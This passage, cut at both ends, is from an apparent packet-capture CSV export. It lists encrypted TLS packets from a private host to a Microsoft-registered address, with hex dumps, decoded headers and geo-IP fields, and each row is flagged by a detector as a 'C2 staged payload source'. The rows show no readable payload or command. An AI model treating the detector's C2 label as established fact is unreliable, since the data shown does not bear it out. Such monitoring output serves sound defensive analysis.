data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07\\\\xb5?1P\\\\x83A\\\\xfc\\\\xdc(\\\\xbe\\\\x14\\\\x7f,sy\\\\xae\\\\xa4\\\\x9a!\\\\xa6\\\\xe7\\\\xb2h-\\\\xe4\\\\x08X\\\\x18\\\\x17\\\\xaeJ;\\\\xb6\\\\xc7C\\\\xda\\\\xedS\\\\xdb[%W'6`\\\\x06P\\\\\\\\\\\\x06\\\\x87\\\\x1c\\\\x1d\\\\xfd\\\\xd1\\\\x92c\\\\xc7\\\\xac\\\\x00\\\\xbc\\\\xd8\\\\xa8}\\\\xdd\\\\x1f\\\\xf7\\\\xb6\\\\xe7:\\\\n\\\\x85\\\\x83<c\\\\x8cv^\\\\xdf\\\\x02\\\\xca\\\\x06\\\\x83\\\\x82Q\\\\x18\\\\x8d\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-26 16:26:12.982972,5,TCP 192.168.122.168:49892 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49892,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3334411157 Ack=1369756557,525400577f945254007bb792080045000120b70140008006e8c0c0a87aa804d519f0c2e401bbc6bf139551a4d38d501804045b28000017030300f30000000000000009b6181eed91be740eaba4bf0aeb2569c3b7985720e33bf054bd78109fd5c6d9a1c834fc1b078e2ee824ed03ce36c87b082e68e9c031b2e00ef7ce30f68691c46951ff2a77e882fad25ca8376302fe37c8becf019f5a717fdced5325dcbf0647c16ff4231009f316895d38239c90c40d298f461ab61c30c98bf602b25ede2297265a953bc66b932e37efe45c7f7d091de46099e7c1c56580552a13c8c84e7adf356e7fb0aac6fb739d5c579e9c49755ec8f2ad349a1cda08b5ca25bc47a43dbb3a73a8cfcb35e06859b1fd7823bc058482b6d1324b26ba3193ecf5dd3b9bdb8c6f81bc323fdfc4dd87be896d,\"RT.W..RT.{....E.. ..@.......z.............Q...P...[(..............\t......t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....iQ.*w....\\.7c..7.....Zq...S%...G.o.#.\t...]8#...\n).F...0.....^.\"\".&Z.;.k..7..\\.}\t..`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1....;...o..2?......m\",[C2] Staged Payload Source (Stages: 4),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 288, \"\"id\"\": 46849, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59584, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49892, \"\"dport\"\": 443, \"\"seq\"\": 3334411157, \"\"ack\"\": 1369756557, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1028, \"\"chksum\"\": 23336, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 243, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\t\\\\xb6\\\\x18\\\\x1e\\\\xed\\\\x91\\\\xbet\\\\x0e\\\\xab\\\\xa4\\\\xbf\\\\n\\\\xeb%i\\\\xc3\\\\xb7\\\\x98W \\\\xe3;\\\\xf0T\\\\xbdx\\\\x10\\\\x9f\\\\xd5\\\\xc6\\\\xd9\\\\xa1\\\\xc84\\\\xfc\\\\x1b\\\\x07\\\\x8e.\\\\xe8$\\\\xed\\\\x03\\\\xce6\\\\xc8{\\\\x08.h\\\\xe9\\\\xc01\\\\xb2\\\\xe0\\\\x0e\\\\xf7\\\\xce0\\\\xf6\\\\x86\\\\x91\\\\xc4iQ\\\\xff*w\\\\xe8\\\\x82\\\\xfa\\\\xd2\\\\\\\\\\\\xa87c\\\\x02\\\\xfe7\\\\xc8\\\\xbe\\\\xcf\\\\x01\\\\x9fZq\\\\x7f\\\\xdc\\\\xedS%\\\\xdc\\\\xbf\\\\x06G\\\\xc1o\\\\xf4#\\\\x10\\\\t\\\\xf3\\\\x16\\\\x89]8#\\\\x9c\\\\x90\\\\xc4\\\\r)\\\\x8fF\\\\x1a\\\\xb6\\\\x1c0\\\\xc9\\\\x8b\\\\xf6\\\\x02\\\\xb2^\\\\xde\\\"\"\\\\x97&Z\\\\x95;\\\\xc6k\\\\x93.7\\\\xef\\\\xe4\\\\\\\\\\\\x7f}\\\\t\\\\x1d\\\\xe4`\\\\x99\\\\xe7\\\\xc1\\\\xc5e\\\\x80U*\\\\x13\\\\xc8\\\\xc8Nz\\\\xdf5n\\\\x7f\\\\xb0\\\\xaa\\\\xc6\\\\xfbs\\\\x9d\\\\\\\\W\\\\x9e\\\\x9cIu^\\\\xc8\\\\xf2\\\\xad4\\\\x9a\\\\x1c\\\\xda\\\\x08\\\\xb5\\\\xca%\\\\xbcG\\\\xa4=\\\\xbb:s\\\\xa8\\\\xcf\\\\xcb5\\\\xe0hY\\\\xb1\\\\xfdx#\\\\xbc\\\\x05\\\\x84\\\\x82\\\\xb6\\\\xd12K&\\\\xba1\\\\x93\\\\xec\\\\xf5\\\\xdd;\\\\x9b\\\\xdb\\\\x8co\\\\x81\\\\xbc2?\\\\xdf\\\\xc4\\\\xdd\\\\x87\\\\xbe\\\\x89m' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-26 16:26:13.288391,6,TCP 192.168.122.168:49892 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49892,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3334411157 Ack=1369756557,525400577f945254007bb792080045000120b70240008006e8bfc0a87aa804d519f0c2e401bbc6bf139551a4d38d501804045b28000017030300f30000000000000009b6181eed91be740eaba4bf0aeb2569c3b7985720e33bf054bd78109fd5c6d9a1c834fc1b078e2ee824ed03ce36c87b082e68e9c031b2e00ef7ce30f68691c46951ff2a77e882fad25ca8376302fe37c8becf019f5a717fdced5325dcbf0647c16ff4231009f316895d38239c90c40d298f461ab61c30c98bf602b25ede2297265a953bc66b932e37efe45c7f7d091de46099e7c1c56580552a13c8c84e7adf356e7fb0aac6fb739d5c579e9c49755ec8f2ad349a1cda08b5ca25bc47a43dbb3a73a8cfcb35e06859b1fd7823bc058482b6d1324b26ba3193ecf5dd3b9bdb8c6f81bc323fdfc4dd87be896d,\"RT.W..RT.{....E.. ..@.......z.............Q...P...[(..............\t......t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....iQ.*w....\\.7c..7.....Zq...S%...G.o.#.\t...]8#...\n).F...0.....^.\"\".&Z.;.k..7..\\.}\t..`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1....;...o..2?......m\",[C2] Staged Payload Source (Stages: 4),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 288, \"\"id\"\": 46850, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59583, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49892, \"\"dport\"\": 443, \"\"seq\"\": 3334411157, \"\"ack\"\": 1369756557, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1028, \"\"chksum\"\": 23336, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 243, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\t\\\\xb6\\\\x18\\\\x1e\\\\xed\\\\x91\\\\xbet\\\\x0e\\\\xab\\\\xa4\\\\xbf\\\\n\\\\xeb%i\\\\xc3\\\\xb7\\\\x98W \\\\xe3;\\\\xf0T\\\\xbdx\\\\x10\\\\x9f\\\\xd5\\\\xc6\\\\xd9\\\\xa1\\\\xc84\\\\xfc\\\\x1b\\\\x07\\\\x8e.\\\\xe8$\\\\xed\\\\x03\\\\xce6\\\\xc8{\\\\x08.h\\\\xe9\\\\xc01\\\\xb2\\\\xe0\\\\x0e\\\\xf7\\\\xce0\\\\xf6\\\\x86\\\\x91\\\\xc4iQ\\\\xff*w\\\\xe8\\\\x82\\\\xfa\\\\xd2\\\\\\\\\\\\xa87c\\\\x02\\\\xfe7\\\\xc8\\\\xbe\\\\xcf\\\\x01\\\\x9fZq\\\\x7f\\\\xdc\\\\xedS%\\\\xdc\\\\xbf\\\\x06G\\\\xc1o\\\\xf4#\\\\x10\\\\t\\\\xf3\\\\x16\\\\x89]8#\\\\x9c\\\\x90\\\\xc4\\\\r)\\\\x8fF\\\\x1a\\\\xb6\\\\x1c0\\\\xc9\\\\x8b\\\\xf6\\\\x02\\\\xb2^\\\\xde\\\"\"\\\\x97&Z\\\\x95;\\\\xc6k\\\\x93.7\\\\xef\\\\xe4\\\\\\\\\\\\x7f}\\\\t\\\\x1d\\\\xe4`\\\\x99\\\\xe7\\\\xc1\\\\xc5e\\\\x80U*\\\\x13\\\\xc8\\\\xc8Nz\\\\xdf5n\\\\x7f\\\\xb0\\\\xaa\\\\xc6\\\\xfbs\\\\x9d\\\\\\\\W\\\\x9e\\\\x9cIu^\\\\xc8\\\\xf2\\\\xad4\\\\x9a\\\\x1c\\\\xda\\\\x08\\\\xb5\\\\xca%\\\\xbcG\\\\xa4=\\\\xbb:s\\\\xa8\\\\xcf\\\\xcb5\\\\xe0hY\\\\xb1\\\\xfdx#\\\\xbc\\\\x05\\\\x84\\\\x82\\\\xb6\\\\xd12K&\\\\xba1\\\\x93\\\\xec\\\\xf5\\\\xdd;\\\\x9b\\\\xdb\\\\x8co\\\\x81\\\\xbc2?\\\\xdf\\\\xc4\\\\xdd\\\\x87\\\\xbe\\\\x89m' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-26 16:26:13.620223,7,TCP 192.168.122.168:49899 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49899,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3881783804 Ack=1692602478,525400577f945254007bb79208004500008bb703000080062954c0a87aa804d519f0c2eb01bbe75f51fc64e3106e501804055a930000170303005e0000000000000007b53f31508341fcdc28be147f2c7379aea49a21a6e7b2682de408581817ae4a3bb6c743daed53db5b255727366006505c06871c1dfdd19263c7ac00bcd8a87ddd1ff7b6e73a0a85833c638c765edf02ca06838251188d,\"RT.W..RT.{....E.........)T..z.........._Q.d..nP...Z.......^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\",[C2] Staged Payload Source (Stages: 4),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 139, \"\"id\"\": 46851, \"\"flags\"\": \"\"\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 10580, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49899, \"\"dport\"\": 443, \"\"seq\"\": 3881783804, \"\"ack\"\": 1692602478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1029, \"\"chksum\"\": 23187, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 94, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07\\\\xb5?1P\\\\x83A\\\\xfc\\\\xdc(\\\\xbe\\\\x14\\\\x7f,sy\\\\xae\\\\xa4\\\\x9a!\\\\xa6\\\\xe7\\\\xb2h-\\\\xe4\\\\x08X\\\\x18\\\\x17\\\\xaeJ;\\\\xb6\\\\xc7C\\\\xda\\\\xedS\\\\xdb[%W'6`\\\\x06P\\\\\\\\\\\\x06\\\\x87\\\\x1c\\\\x1d\\\\xfd\\\\xd1\\\\x92c\\\\xc7\\\\xac\\\\x00\\\\xbc\\\\xd8\\\\xa8}\\\\xdd\\\\x1f\\\\xf7\\\\xb6\\\\xe7:\\\\n\\\\x85\\\\x83<c\\\\x8cv^\\\\xdf\\\\x02\\\\xca\\\\x06\\\\x83\\\\x82Q\\\\x18\\\\x8d\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-26 16:26:13.891146,8,TCP 192.168.122.168:49892 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49892,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3334411157 Ack=1369756557,525400577f945254007bb792080045000120b70440008006e8bdc0a87aa804d519f0c2e401bbc6bf139551a4d38d501804045b28000017030300f30000000000000009b6181eed91be740eaba4bf0aeb2569c3b7985720e33bf054bd78109fd5c6d9a1c834fc1b078e2ee824ed03ce36c87b082e68e9c031b2e00ef7ce30f68691c46951ff2a77e882fad25ca8376302fe37c8becf019f5a717fdced5325dcbf0647c16ff4231009f316895d38239c90c40d298f461ab61c30c98bf602b25ede2297265a953bc66b932e37efe45c7f7d091de46099e7c1c56580552a13c8c84e7adf356e7fb0aac6fb739d5c579e9c49755ec8f2ad349a1cda08b5ca25bc47a43dbb3a73a8cfcb35e06859b1fd7823bc058482b6d1324b26ba3193ecf5dd3b9bdb8c6f81bc323fdfc4dd87be896d,\"RT.W..RT.{....E.. ..@.......z.............Q...P...[(..............\t......t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....iQ.*w....\\.7c..7.....Zq...S%...G.o.#.\t...]8#...\n).F...0.....^.\"\".&Z.;.k..7..\\.}\t..`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1....;...o..2?......m\",[C2] Staged Payload Source (Stages: 4),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 288, \"\"id\"\": 46852, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59581, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49892, \"\"dport\"\": 443, \"\"seq\"\": 3334411157, \"\"ack\"\": 1369756557, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1028, \"\"chksum\"\": 23336, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 243, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\t\\\\xb6\\\\x18\\\\x1e\\\\xed\\\\x91\\\\xbet\\\\x0e\\\\xab\\\\xa4\\\\xbf\\\\n\\\\xeb%i\\\\xc3\\\\xb7\\\\x98W \\\\xe3;\\\\xf0T\\\\xbdx\\\\x10\\\\x9f\\\\xd5\\\\xc6\\\\xd9\\\\xa1\\\\xc84\\\\xfc\\\\x1b\\\\x07\\\\x8e.\\\\xe8$\\\\xed\\\\x03\\\\xce6\\\\xc8{\\\\x08.h\\\\xe9\\\\xc01\\\\xb2\\\\xe0\\\\x0e\\\\xf7\\\\xce0\\\\xf6\\\\x86\\\\x91\\\\xc4iQ\\\\xff*w\\\\xe8\\\\x82\\\\xfa\\\\xd2\\\\\\\\\\\\xa87c\\\\x02\\\\xfe7\\\\xc8\\\\xbe\\\\xcf\\\\x01\\\\x9fZq\\\\x7f\\\\xdc\\\\xedS%\\\\xdc\\\\xbf\\\\x06G\\\\xc1o\\\\xf4#\\\\x10\\\\t\\\\xf3\\\\x16\\\\x89]8#\\\\x9c\\\\x90\\\\xc4\\\\r)\\\\x8fF\\\\x1a\\\\xb6\\\\x1c0\\\\xc9\\\\x8b\\\\xf6\\\\x02\\\\xb2^\\\\xde\\\"\"\\\\x97&Z\\\\x95;\\\\xc6k\\\\x93.7\\\\xef\\\\xe4\\\\\\\\\\\\x7f}\\\\t\\\\x1d\\\\xe4`\\\\x99\\\\xe7\\\\xc1\\\\xc5e\\\\x80U*\\\\x13\\\\xc8\\\\xc8Nz\\\\xdf5n\\\\x7f\\\\xb0\\\\xaa\\\\xc6\\\\xfbs\\\\x9d\\\\\\\\W\\\\x9e\\\\x9cIu^\\\\xc8\\\\xf2\\\\xad4\\\\x9a\\\\x1c\\\\xda\\\\x08\\\\xb5\\\\xca%\\\\xbcG\\\\xa4=\\\\xbb:s\\\\xa8\\\\xcf\\\\xcb5\\\\xe0hY\\\\xb1\\\\xfdx#\\\\xbc\\\\x05\\\\x84\\\\x82\\\\xb6\\\\xd12K&\\\\xba1\\\\x93\\\\xec\\\\xf5\\\\xdd;\\\\x9b\\\\xdb\\\\x8co\\\\x81\\\\xbc2?\\\\xdf\\\\xc4\\\\xdd\\\\x87\\\\xbe\\\\x89m' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-26 16:26:14.833673,9,TCP 192.168.122.168:49899 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49899,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3881783804 Ack=1692602478,525400577f945254007bb79208004500008bb70540008006e951c0a87aa804d519f0c2eb01bbe75f51fc64e3106e501804055a930000170303005e0000000000000007b53f31508341fcdc28be147f2c7379aea49a21a6e7b2682de408581817ae4a3bb6c743daed53db5b255727366006505c06871c1dfdd19263c7ac00bcd8a87ddd1ff7b6e73a0a85833c638c765edf02ca06838251188d,\"RT.W..RT.{....E.....@....Q..z.........._Q.d..nP...Z.......^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\",[C2] Staged Payload Source (Stages: 4),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 139, \"\"id\"\": 46853, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59729, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49899, \"\"dport\"\": 443, \"\"seq\"\": 3881783804, \"\"ack\"\": 1692602478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1029, \"\"chksum\"\": 23187, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 94, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07\\\\xb5?1P\\\\x83A\\\\xfc\\\\xdc(\\\\xbe\\\\x14\\\\x7f,sy\\\\xae\\\\xa4\\\\x9a!\\\\xa6\\\\xe7\\\\xb2h-\\\\xe4\\\\x08X\\\\x18\\\\x17\\\\xaeJ;\\\\xb6\\\\xc7C\\\\xda\\\\xedS\\\\xdb[%W'6`\\\\x06P\\\\\\\\\\\\x06\\\\x87\\\\x1c\\\\x1d\\\\xfd\\\\xd1\\\\x92c\\\\xc7\\\\xac\\\\x00\\\\xbc\\\\xd8\\\\xa8}\\\\xdd\\\\x1f\\\\xf7\\\\xb6\\\\xe7:\\\\n\\\\x85\\\\x83<c\\\\x8cv^\\\\xdf\\\\x02\\\\xca\\\\x06\\\\x83\\\\x82Q\\\\x18\\\\x8d\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-26 16:26:15.099347,10,TCP 192.168.122.168:49892 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49892,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3334411157 Ack=1369756557,525400577f945254007bb792080045000120b7060000800628bcc0a87aa804d519f0c2e401bbc6bf139551a4d38d501804045b28000017030300f30000000000000009b6181eed91be740eaba4bf0aeb2569c3b7985720e33bf054bd78109fd5c6d9a1c834fc1b078e2ee824ed03ce36c87b082e68e9c031b2e00ef7ce30f68691c46951ff2a77e882fad25ca8376302fe37c8becf019f5a717fdced5325dcbf0647c16ff4231009f316895d38239c90c40d298f461ab61c30c98bf602b25ede2297265a953bc66b932e37efe45c7f7d091de46099e7c1c56580552a13c8c84e7adf356e7fb0aac6fb739d5c579e9c49755ec8f2ad349a1cda08b5ca25bc47a43dbb3a73a8cfcb35e06859b1fd7823bc058482b6d1324b26ba3193ecf5dd3b9bdb8c6f81bc323fdfc4dd87be896d,\"RT.W..RT.{....E.. ......(...z.............Q...P...[(..............\t......t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....iQ.*w....\\.7c..7.....Zq...S%...G.o.#.\t...]8#...\n).F...0.....^.\"\".&Z.;.k..7..\\.}\t..`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1....;...o..2?......m\",[C2] Staged Payload Source (Stages: 4),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 288, \"\"id\"\": 46854, \"\"flags\"\": \"\"\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 10428, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49892, \"\"dport\"\": 443, \"\"seq\"\": 3334411157, \"\"ack\"\": 1369756557, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1028, \"\"chksum\"\": 23336, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 243, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\t\\\\xb6\\\\x18\\\\x1e\\\\xed\\\\x91\\\\xbet\\\\x0e\\\\xab\\\\xa4\\\\xbf\\\\n\\\\xeb%i\\\\xc3\\\\xb7\\\\x98W \\\\xe3;\\\\xf0T\\\\xbdx\\\\x10\\\\x9f\\\\xd5\\\\xc6\\\\xd9\\\\xa1\\\\xc84\\\\xfc\\\\x1b\\\\x07\\\\x8e.\\\\xe8$\\\\xed\\\\x03\\\\xce6\\\\xc8{\\\\x08.h\\\\xe9\\\\xc01\\\\xb2\\\\xe0\\\\x0e\\\\xf7\\\\xce0\\\\xf6\\\\x86\\\\x91\\\\xc4iQ\\\\xff*w\\\\xe8\\\\x82\\\\xfa\\\\xd2\\\\\\\\\\\\xa87c\\\\x02\\\\xfe7\\\\xc8\\\\xbe\\\\xcf\\\\x01\\\\x9fZq\\\\x7f\\\\xdc\\\\xedS%\\\\xdc\\\\xbf\\\\x06G\\\\xc1o\\\\xf4#\\\\x10\\\\t\\\\xf3\\\\x16\\\\x89]8#\\\\x9c\\\\x90\\\\xc4\\\\r)\\\\x8fF\\\\x1a\\\\xb6\\\\x1c0\\\\xc9\\\\x8b\\\\xf6\\\\x02\\\\xb2^\\\\xde\\\"\"\\\\x97&Z\\\\x95;\\\\xc6k\\\\x93.7\\\\xef\\\\xe4\\\\\\\\\\\\x7f}\\\\t\\\\x1d\\\\xe4`\\\\x99\\\\xe7\\\\xc1\\\\xc5e\\\\x80U*\\\\x13\\\\xc8\\\\xc8Nz\\\\xdf5n\\\\x7f\\\\xb0\\\\xaa\\\\xc6\\\\xfbs\\\\x9d\\\\\\\\W\\\\x9e\\\\x9cIu^\\\\xc8\\\\xf2\\\\xad4\\\\x9a\\\\x1c\\\\xda\\\\x08\\\\xb5\\\\xca%\\\\xbcG\\\\xa4=\\\\xbb:s\\\\xa8\\\\xcf\\\\xcb5\\\\xe0hY\\\\xb1\\\\xfdx#\\\\xbc\\\\x05\\\\x84\\\\x82\\\\xb6\\\\xd12K&\\\\xba1\\\\x93\\\\xec\\\\xf5\\\\xdd;\\\\x9b\\\\xdb\\\\x8co\\\\x81\\\\xbc2?\\\\xdf\\\\xc4\\\\xdd\\\\x87\\\\xbe\\\\x89m' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-26 16:26:16.302843,11,TCP 192.168.122.168:49892 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49892,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3334411157 